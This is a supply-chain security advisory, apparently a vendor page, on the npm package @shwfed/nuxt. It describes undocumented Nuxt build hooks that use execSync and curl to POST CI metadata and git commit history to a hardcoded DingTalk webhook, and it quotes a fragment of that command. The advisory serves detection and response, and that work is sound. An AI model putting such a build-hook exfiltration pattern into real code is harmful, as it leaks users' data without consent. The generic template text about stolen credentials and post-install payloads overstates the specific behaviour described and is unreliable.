@shwfed/nuxtnpm
Malicious code in @shwfed/nuxt (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
@shwfed/nuxt is published as a Nuxt UI module but contains undocumented build-hook code that, when a consumer integrates the module and runs a build under CI, POSTs the consumer's CI/build metadata and recent git history to a hardcoded third-party DingTalk webhook owned by the package author. In dist/module.mjs, the build:error and build:done Nuxt hooks invoke execSync("curl -s -X POST '${url}'... -d @-", { input: payload }) against https://oapi.dingtalk.com/robot/send with an embedded access_token (a01e0fdf...) and an embedded HMAC signing secret (SEC9d852...). The payload includes JOB_NAME, BUILD_NUMBER, branch name, RUN_DISPLAY_URL, build error message, the last 5 git log entries (commit subjects and author names) from the consumer's repository, and the last commit author. The destination is fixed in the source — not configurable, not documented, and unrelated to the module's advertised UI-component purpose. Any consumer that adds this module to their Nuxt config and runs CI builds leaks build status and recent git commit metadata (including third-party committer names) to the author's DingTalk channel without consent.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @shwfed/nuxt (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @shwfed/nuxt across your stack and pipelines.
If you installed it — respond
@shwfed/nuxt is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @shwfed/nuxt was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @shwfed/nuxt before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @shwfed/nuxt-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.